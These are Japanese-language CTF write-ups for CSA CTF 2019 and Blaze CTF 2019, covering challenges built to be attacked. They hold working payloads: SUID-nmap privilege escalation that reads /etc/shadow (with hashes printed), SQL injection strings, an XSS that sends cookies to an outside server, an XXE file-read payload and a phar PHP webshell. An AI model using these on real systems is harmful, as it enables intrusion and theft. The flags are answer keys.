CSA CTF 2019 Writeup - Linux 2
Question
ssh user@35.231.176.102 -p1774 Password: utsacyber
Solution
user@7ab7e9c7f6a4:~$ ll total 32 drwxr-xr-x 1 user user 4096 Apr 27 14:35 ./ drwxr-xr-x 1 root root 4096 Apr 22 20:12 ../ -rw-r--r-- 1 user user 220 Aug 31 2015 .bash_logout -rw-r--r-- 1 user user 3771 Aug 31 2015 .bashrc drwx------ 2 user user 4096 Apr 27 14:35 .cache/ -rw-r--r-- 1 user user 655 May 16 2017 .profile -rw-rw-r-- 1 root root 10 Apr 22 20:56 readme.txt user@7ab7e9c7f6a4:~$ cat readme.txt Get root.
Privilege Escalationする問題のようだ。
linuxprivcheckerとLinEnumを使用して、攻略の糸口を調査する。
linuxprivchecker
user@7ab7e9c7f6a4:~$ cd /tmp/ user@7ab7e9c7f6a4:/tmp$ wget https://www.securitysift.com/download/linuxprivchecker.py --2019-04-27 14:39:10-- https://www.securitysift.com/download/linuxprivchecker.py Resolving www.securitysift.com (www.securitysift.com)... 173.254.14.183 Connecting to www.securitysift.com (www.securitysift.com)|173.254.14.183|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 25304 (25K) [application/octet-stream] Saving to: 'linuxprivchecker.py' linuxprivchecker.py 100%[=====================================>] 24.71K --.-KB/s in 0s 2019-04-27 14:39:10 (54.0 MB/s) - 'linuxprivchecker.py' saved [25304/25304] user@7ab7e9c7f6a4:/tmp$ python linuxprivchecker.py ================================================================================================= LINUX PRIVILEGE ESCALATION CHECKER ================================================================================================= [*] GETTING BASIC SYSTEM INFO... [+] Kernel Linux version 4.15.0-1029-gcp (buildd@lcy01-amd64-029) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #31-Ubuntu SMP Thu Mar 21 09:40:28 UTC 2019 [+] Hostname 7ab7e9c7f6a4 [+] Operating System Ubuntu 16.04.6 LTS \n \l (snip) [+] SUID/SGID Files and Directories -rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /sbin/pam_extrausers_chkpwd -rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /sbin/unix_chkpwd -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount -rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping drwxrwsr-x 7 root staff 4096 Apr 22 20:12 /usr/local/share/sgml drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/declaration drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/misc drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/stylesheet drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/dtd drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/entities drwxrwsr-x 6 root staff 4096 Apr 22 20:12 /usr/local/share/xml drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/declaration drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/misc drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/schema drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/entities drwxrwsr-x 3 root staff 4096 Apr 22 20:12 /usr/local/lib/python3.5 drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/lib/python3.5/dist-packages drwxrwsr-x 4 root staff 4096 Apr 22 20:12 /usr/local/lib/python2.7 drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/lib/python2.7/dist-packages drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/lib/python2.7/site-packages -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp -rwxr-sr-x 1 root shadow 62336 May 16 2017 /usr/bin/chage -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd -rwxr-sr-x 1 root tty 27368 May 16 2018 /usr/bin/wall -rwxr-sr-x 1 root shadow 22768 May 16 2017 /usr/bin/expiry -rwsr-xr-x 1 root root 2770528 Mar 31 2016 /usr/bin/nmap -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo -rwxr-sr-x 1 root ssh 358624 Mar 4 14:09 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 428240 Mar 4 14:09 /usr/lib/openssh/ssh-keysign drwxrwsr-x 2 root staff 4096 Apr 12 2016 /var/local drwxrwsr-x 2 root mail 4096 Feb 22 10:05 /var/mail (snip) [+] Installed Tools /usr/bin/awk /usr/bin/perl /usr/bin/python /usr/bin/vi /usr/bin/vim /usr/bin/nmap /usr/bin/find /bin/netcat /bin/nc /usr/bin/wget [+] Related Shell Escape Sequences... nmap--> --interactive vi--> :!bash vi--> :set shell=/bin/bash:shell vi--> :!bash vi--> :set shell=/bin/bash:shell awk--> awk 'BEGIN {system("/bin/bash")}' find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \; perl--> perl -e 'exec "/bin/bash";' [*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS... Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested! The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system The following exploits are applicable to this kernel version and should be investigated as well - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby** - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c Finished =================================================================================================
LinEnum
user@7ab7e9c7f6a4:/tmp$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh --2019-04-27 14:40:28-- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 45639 (45K) [text/plain] Saving to: 'LinEnum.sh' LinEnum.sh 100%[==============================================================================================>] 44.57K --.-KB/s in 0.02s 2019-04-27 14:40:28 (1.84 MB/s) - 'LinEnum.sh' saved [45639/45639] user@7ab7e9c7f6a4:/tmp$ chmod 777 ./LinEnum.sh user@7ab7e9c7f6a4:/tmp$ ./LinEnum.sh ######################################################### # Local Linux Enumeration & Privilege Escalation Script # ######################################################### # www.rebootuser.com # version 0.96 [-] Debug Info [+] Thorough tests = Disabled Scan started at: Sat Apr 27 14:41:02 UTC 2019 (snip) ### INTERESTING FILES #################################### [-] Useful file locations: /bin/nc /bin/netcat /usr/bin/wget /usr/bin/nmap /usr/bin/curl [-] Can we read/write sensitive files: -rw-r--r-- 1 root root 1328 Apr 22 20:12 /etc/passwd -rw-r--r-- 1 root root 602 Apr 22 20:12 /etc/group -rw-r--r-- 1 root root 575 Oct 22 2015 /etc/profile -rw-r----- 1 root shadow 898 Apr 22 20:12 /etc/shadow [-] SUID files: -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount -rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd -rwsr-xr-x 1 root root 2770528 Mar 31 2016 /usr/bin/nmap -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo -rwsr-xr-x 1 root root 428240 Mar 4 14:09 /usr/lib/openssh/ssh-keysign [+] Possibly interesting SUID files: -rwsr-xr-x 1 root root 2770528 Mar 31 2016 /usr/bin/nmap (snip) ### SCAN COMPLETE ####################################
nmap
がインストールされており、SUIDビットが立っていることがわかる。
しばらくWebを調査すると、以下の記事を発見する。
nmapの--scriptオプションが使用できそうだ。
上記の記事を試してみるが、そのままではShellの取得はできなかった。何かもう一工夫が必要なのだろうか。
ただ、File readの手順(を少し修正して)で、/etc/shadow
ファイルの読み込みはできた。
user@7ab7e9c7f6a4:/tmp$ TF=$(mktemp) user@7ab7e9c7f6a4:/tmp$ echo 'f=io.open("/etc/shadow", "rb"); print(f:read("*a")); io.close(f);' > $TF user@7ab7e9c7f6a4:/tmp$ nmap --script=$TF Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 14:43 UTC WARNING: Running Nmap setuid, as you are doing, is a major security risk. NSE: Warning: Loading '/tmp/tmp.Sr3NS1BmQI' -- the recommended file extension is '.nse'. root:$6$i09NKN3z$3ubpJ2G77IKDzS5KKfYjGx3p4MM7ISlhKmDD/.4oJ8Yf88CkRnJVoqdS4BMh8Vae/fQg3.Rjvcbxb4IHgmAqn0:18008:0:99999:7::: daemon:*:17949:0:99999:7::: bin:*:17949:0:99999:7::: sys:*:17949:0:99999:7::: sync:*:17949:0:99999:7::: games:*:17949:0:99999:7::: man:*:17949:0:99999:7::: lp:*:17949:0:99999:7::: mail:*:17949:0:99999:7::: news:*:17949:0:99999:7::: uucp:*:17949:0:99999:7::: proxy:*:17949:0:99999:7::: www-data:*:17949:0:99999:7::: backup:*:17949:0:99999:7::: list:*:17949:0:99999:7::: irc:*:17949:0:99999:7::: gnats:*:17949:0:99999:7::: nobody:*:17949:0:99999:7::: systemd-timesync:*:17949:0:99999:7::: systemd-network:*:17949:0:99999:7::: systemd-resolve:*:17949:0:99999:7::: systemd-bus-proxy:*:17949:0:99999:7::: _apt:*:17949:0:99999:7::: sshd:*:18008:0:99999:7::: user:$6$xReGWCgk$2OD/Q2jXewLgbryfcZZugNCic/xBt.BKkbk5dB6BcRQmNdw.yw6PC1S8N40Tm7WymaTh4K927hFGUJ9aoSm/1.:18008:0:99999:7::: NSE: failed to initialize the script engine: /usr/bin/../share/nmap/nse_main.lua:607: /tmp/tmp.Sr3NS1BmQI is missing required field: 'action' stack traceback: [C]: in function 'error' /usr/bin/../share/nmap/nse_main.lua:607: in function 'new' /usr/bin/../share/nmap/nse_main.lua:805: in function 'get_chosen_scripts' /usr/bin/../share/nmap/nse_main.lua:1249: in main chunk [C]: in ? QUITTING!
1つ前の問題のフラグがflag.txtファイルにあったこと、README.txtにGet root.
と書かれていたことから、
/root/flag.txt
がフラグファイルの場所と推測する。
user@7ab7e9c7f6a4:/tmp$ echo 'f=io.open("/root/flag.txt", "rb"); print(f:read("*a")); io.close(f);' > $TF user@7ab7e9c7f6a4:/tmp$ nmap --script=$TF Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 14:44 UTC WARNING: Running Nmap setuid, as you are doing, is a major security risk. NSE: Warning: Loading '/tmp/tmp.Sr3NS1BmQI' -- the recommended file extension is '.nse'. CSACTF{sh3_d0esnt_3v3n_g0_h3r3} NSE: failed to initialize the script engine: /usr/bin/../share/nmap/nse_main.lua:607: /tmp/tmp.Sr3NS1BmQI is missing required field: 'action' stack traceback: [C]: in function 'error' /usr/bin/../share/nmap/nse_main.lua:607: in function 'new' /usr/bin/../share/nmap/nse_main.lua:805: in function 'get_chosen_scripts' /usr/bin/../share/nmap/nse_main.lua:1249: in main chunk [C]: in ? QUITTING!
フラグゲット。
CSACTF{sh3_d0esnt_3v3n_g0_h3r3}
CSA CTF 2019 Writeup - Web(全問)
CSA CTF 2019のWeb問を全完したのでWriteupを書く。難易度はかなり易しめ。
- CSA Database 1 - Suspicious member
- CSA Database 2 - Darkest Secret
- CSA Portal
- The Outer Space
- Huzzah
- Biscuits Shop
CSA Database 1 - Suspicious member
Question
We have a suspicious user in our system. See if you can find him. http://35.231.36.102:1776
Solution
" or "a"="a
を入力。
シングルクォーテーションではなくダブルクォーテーションなのは珍しい。
CSACTF{0i_0i_Wh0_1s_th1s_guys?}
CSA Database 2 - Darkest Secret
Question
One of our officers is having a dark secret. Can you reveal it? http://35.231.36.102:1777
Solution
CSA Database 1と同じ方法ではフラグは出ない。
" UNION ALL SELECT 1,1,1,1
を入力すると1,1,1,1が表示された。
SQL Injectionの脆弱性自体は残っているようだ。
テーブル名を確認する。
" UNION ALL SELECT 1,1,table_schema,table_name from information_schema.tables #
列名を確認する。
" UNION ALL SELECT 1,1,1,column_name from information_schema.columns where table_name='csa_officers' #
怪しい列を発見したので表示する。
" UNION ALL SELECT 1,1,1,darkest_secret from csa_officers #
CSACTF{0h_n0!Y0u_F0und_My_S3cr3t!}
CSA Portal
Question
Are you a member of CSA yet? Sign up here: http://35.231.36.102:1779/
Solution
サインアップ、ログインすると、メッセージを投稿する画面が表示される。
<script>location.href = "http://<myserver>/?" + document.cookie</script>
を投稿。
しばらくすると、
GET /?PHPSESSID=6j48gtv0fktfn0cuqtvsl8g2u7
にアクセスが来た。
Cookieにセットしてアクセスするとフラグを得られた。
CSACTF{blu3_1s_such_4_l4zy_sys_4dm1n!}
The Outer Space
Question
Our new authentication portal was just launched. Is it secured? http://35.231.36.102:1774/
Solution
送信ボタンを押下すると、xxe.phpにPOSTする。
ファイル名をxxeにするとか、サービス過剰すぎない?
以下のXXEペイロードを送信して、phpのソースコードを得る。
<!DOCTYPE hoge [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
<?php /** * This funtion will take a pattern and a folder as the argument and go thru it(recursivly if needed)and return the list of * all files in that folder. * Link : http://www.bin-co.com/php/scripts/filesystem/ls/ * Arguments : $pattern - The pattern to look out for [OPTIONAL] * $folder - The path of the directory of which's directory list you want [OPTIONAL] * $recursivly - The funtion will traverse the folder tree recursivly if this is true. Defaults to false. [OPTIONAL] * $options - An array of values 'return_files' or 'return_folders' or both * Returns : A flat list with the path of all the files(no folders) that matches the condition given. */ function ls($pattern="*", $folder="", $recursivly=false, $options=array('return_files','return_folders')) { if($folder) { $current_folder = realpath('.'); if(in_array('quiet', $options)) { // If quiet is on, we will suppress the 'no such folder' error if(!file_exists($folder)) return array(); } if(!chdir($folder)) return array(); } $get_files = in_array('return_files', $options); $get_folders= in_array('return_folders', $options); $both = array(); $folders = array(); // Get the all files and folders in the given directory. if($get_files) $both = glob($pattern, GLOB_BRACE + GLOB_MARK); if($recursivly or $get_folders) $folders = glob("*", GLOB_ONLYDIR + GLOB_MARK); //If a pattern is specified, make sure even the folders match that pattern. $matching_folders = array(); if($pattern !== '*') $matching_folders = glob($pattern, GLOB_ONLYDIR + GLOB_MARK); //Get just the files by removing the folders from the list of all files. $all = array_values(array_diff($both,$folders)); if($recursivly or $get_folders) { foreach ($folders as $this_folder) { if($get_folders) { //If a pattern is specified, make sure even the folders match that pattern. if($pattern !== '*') { if(in_array($this_folder, $matching_folders)) array_push($all, $this_folder); } else array_push($all, $this_folder); } if($recursivly) { // Continue calling this function for all the folders $deep_items = ls($pattern, $this_folder, $recursivly, $options); # :RECURSION: foreach ($deep_items as $item) { array_push($all, $this_folder . $item); } } } } if($folder) chdir($current_folder); return $all; } libxml_disable_entity_loader (false); $xmlfile = $_POST['body']; //file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "<html> <head> <link rel=\"stylesheet\" type=\"text/css\" href=\"./countrylane.css\"></head>"; if ($user == "admin") { if ($pass == "0e1234") { echo "<p> The creds [ $user : $pass ] were correct! </p>"; echo "<br>"; print("<p> You won the directory listing! </p>"); echo "<br>"; $listing = ls("*"); echo "<p>"; print_r($listing); echo "</p>"; } else { echo "Wrong password [ $user : $pass ]"; } } else { echo "<p> Wrong creds [ $user : $pass ] </p>"; } ?>
user/passがadmin/0e1234であることがわかる。
<creds> <user>admin</user> <pass>0e1234</pass> </creds>
を入力するとlsコマンドが実行され、flag.txtが存在することがわかる。
最初と同じ要領でflag.txtを取得。
<!DOCTYPE hoge [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt"> ]> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
CSACTF{1_d0nt_kn0w_wh4t_t0_put_h3r3_lm40}
Huzzah
Question
http://35.231.36.102:1775/
huzzah.php
<?php echo("<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"./oldtown.css\"></head>"); class Magic { function __destruct() { $a = $this->data; if (strstr($a, ";") !== false or strstr($a, "&") !== false) { echo("<p>[-] That's bad, don't do that" . "</p><br>"); } elseif (strcmp($a, "flag.txt") === 0) { echo("<p>[+] Attempting a magic trick!" . "</p><br>"); include($a); //eval($this->data . ";"); } else { echo("<p>[-] You gave bad input - " . $a . "</p><br>"); } system("rm uploads/magic.phar"); } } include('phar://uploads/magic.phar'); //echo(file_exists("phar://uploads/magic.phar")); echo("<a id=\"huzzah\" href=\"index.html\">GO BACK --</a>"); ?>
Solution
URLにアクセスすると、pharファイルをアップロードする機能と、huzzah.phpへのリンク。
適当にpharファイルを作ってアップロードしてみると、magic.phar
というファイル名でないと受け付けてくれないことがわかる。
次に、huzzah.phpのソースコードを確認すると、以下のincludeを実行している。
include('phar://uploads/magic.phar');
magic.pharをアップロードしてhuzzah.phpにアクセスしたら実行してくれそう。
簡易webshellを含むmagic.pharを作る。
・makephar.php
<?php $phar = new Phar('magic.phar', 0); $phar->addFile('index.php');
・index.php
<?php if($_GET['cmd']) { system($_GET['cmd']); }
root@kali:~/Contest/CTACTF2019# php makephar.php root@kali:~/Contest/CTACTF2019# ll magic.phar -rwxrwxrwx 1 root root 6779 Apr 27 00:24 magic.phar
magic.pharをアップロードして/huzzah.php?cmd=ls
へアクセスしてみる。
flag.txtがあることがわかった。
/huzzah.php?cmd=cat%20flag.txt
へアクセスするとフラグを得られた。
CSACTF{php_1s_full_0f_m@g1c}
Biscuits Shop
Question
Get your biscuits today: http://35.231.36.102:1773/
Solution
アカウントの登録とログインが可能。
適当にアカウントを作成すると、そのまま自動でログインして、以下のメッセージが表示される。
Get your biscuit today Welcome to the The Biscuit Shop. Flag only available for "admin".. Feature coming soon. You are currently logged in as <アカウント名>!
adminでアカウントを作成しようとするが当然失敗。
SQL Injectionの脆弱性を疑い、Usernameが' or 'A'='A
のアカウントを作成したところ、
アカウント作成の失敗のメッセージが表示されず、トップ画面に飛ばされる。
また、ログイン成功したときに得られるCookieのauthパラメータが返却されるという不思議な挙動。
原因を切り分けたところ、アカウント名に=
文字が入っていると、この挙動になることを突き止める。
試しにusernameをadmin=
にしてアカウントを作成してみる。
は・・・?フラグが得られた。
想定解とは異なる気がするが。
CSACTF{4_c00k1e_4_d4y_k33ps_th3_s4dn3ss_4w4y}
Blaze CTF 2019 Writeup - Pirates
Question
What is a Pirate's favorite letter? You may think it's R, but their true love is the C. http://chal.420blaze.in:42008
Solution
簡単に画面を操作する。
- create accountは、submitするとuser_idが払い出される。
- set secretは、user_idを使用してsecret値のセットができる。secret_idが払い出される。
- get secretは、set secretで払い出されたsecret_idをキーにsecret値の取得ができる。
robots.txt
を見ると、/source
があることがわかる。/source
にアクセスすると、file
パラメータに拡張子py
のファイル名をセットするとソースコードが見れそうなことがわかる。app.py
のソースコードを参照する。
#!/usr/bin/env python3 from flask import Flask, request, redirect import uuid import os app = Flask(__name__) user_to_secret = {} class UserSecrets: def __init__(self, secrets=[]): self.secrets = secrets def add_secret(self, secret): self.secrets.append(secret) return len(self.secrets) - 1 def get_secret(self, secret_index): try: return self.secrets[secret_index] except KeyError: return "Secret does not exist!" @app.route("/source") def source(): a = request.args['file'] if not a[-3:] == '.py': return "You can only view the source of a python file." with open(a) as f: return f.read() @app.route("/robots.txt") def robots(): return "User-agent: *\nDisallow: /source" @app.route("/") def hello(): return """Hello! Are you a robot? This is a secret management server. <h2>create account:</h2> <form action="/create_account" method="post" name="form"> Starting secrets: </br> <input type="text" name="secrets" value="secret0" /> <input type="text" name="secrets" value="secret1" /> <input type="text" name="secrets" value="secret2" /> <button>Submit</button> </form> <span id="result"></span> <script> //var form; document.form.onsubmit = function (e) { // stop the regular form submission e.preventDefault(); // collect the form data while iterating over the inputs var data = []; for (var i = 0, ii = form.length; i < ii; ++i) { var input = form[i]; if (input.name) { data.push(input.value); } } // construct an HTTP request var xhr = new XMLHttpRequest(); xhr.open(form.method, form.action, true); xhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8'); // send the collected data as JSON xhr.send(JSON.stringify(data)); xhr.onloadend = function (r) { console.log(r); document.getElementById("result").innerHTML=r.srcElement.responseText; }; }; </script> <h2>set secret:</h2> <form action="/secrets" method="post"> Create Account:<br> user_id:<br> <input type="text" name="user_id" value="userid"><br> secret:<br> <input type="text" name="secret" value="A Secret"><br><br> <input type="submit" value="Submit"> </form> <h2>get secret:</h2> <form action="/secrets" method="get"> user_id:<br> <input type="text" name="user_id" value="userid"><br> secret_id:<br> <input type="text" name="secret_id" value="2"><br><br> <input type="submit" value="Submit"> </form> """ @app.route("/create_account", methods=["POST"]) def create_account(): secrets = request.get_json() user_id = str(uuid.uuid4()) if isinstance(secrets, list): user_to_secret[user_id] = UserSecrets(secrets) else: user_to_secret[user_id] = UserSecrets() return user_id @app.route("/secrets", methods=["POST", "GET", "DELETE"]) def secret(): if request.method == "POST": user_id = request.form.get("user_id") secret = request.form.get("secret") try: return str(user_to_secret[user_id].add_secret(secret)) except KeyError: return "You do not have a SecretStorage!" else: user_id = request.args.get("user_id") try: secret_id = int(request.args.get("secret_id")) except TypeError: return "The secret id should be an integer!" try: return user_to_secret[user_id].get_secret(secret_id) except KeyError: return "You do not have a SecretStorage!" if __name__ == "__main__": admin_secrets = UserSecrets() admin_secrets.add_secret(os.environ['FLAG']) app.run(debug=True, port=42069, host="0.0.0.0")
起動時にUserSecrets
クラスのインタンスを生成し、add_secret
メソッドでFLAGをセットしている。
UserSecrets
クラスのインスタンス生成時に呼ばれる__init__
メソッドを確認すると、secrets
のデフォルト引数を空のリストにしている。
デフォルト引数に、リストと辞書を使う場合は注意が必要である。
以下の記事の「リストや辞書をデフォルト値とした場合の注意点」がわかりやすい。
note.nkmk.me
つまり、UserSecrets
クラスのインスタンス生成時に引数を渡さなければ、FLAGを追加済みのsecrets
リストを持ったインスタンスを生成できることがわかる。
create_account
メソッドのソースを見ると、JSON形式かつリストではないデータをPOSTすれば、引数なしのUserSecrets
クラスのインスタンスが生成できる。
ディクショナリ型の{"aaa":"bbb"}
を/create_account
にPOSTしてアカウントを作成し、user_id
を払い出す。
# curl http://chal.420blaze.in:42008/create_account -H "Content-Type: application/json;charset=UTF-8" -d '{"aaa":"bbb"}' a006e40e-9759-4e26-99b4-d6aa073c9c3b
secret_id
に0をセットして、FLAGが格納されているであろうsecrets
リストの0番目の値を取得する。
# curl http://chal.420blaze.in:42008/secrets -GET -d "user_id=a006e40e-9759-4e26-99b4-d6aa073c9c3b&secret_id=0" blaze{py3h0n_d3f4ul7_Arrrrgh}
フラグゲット。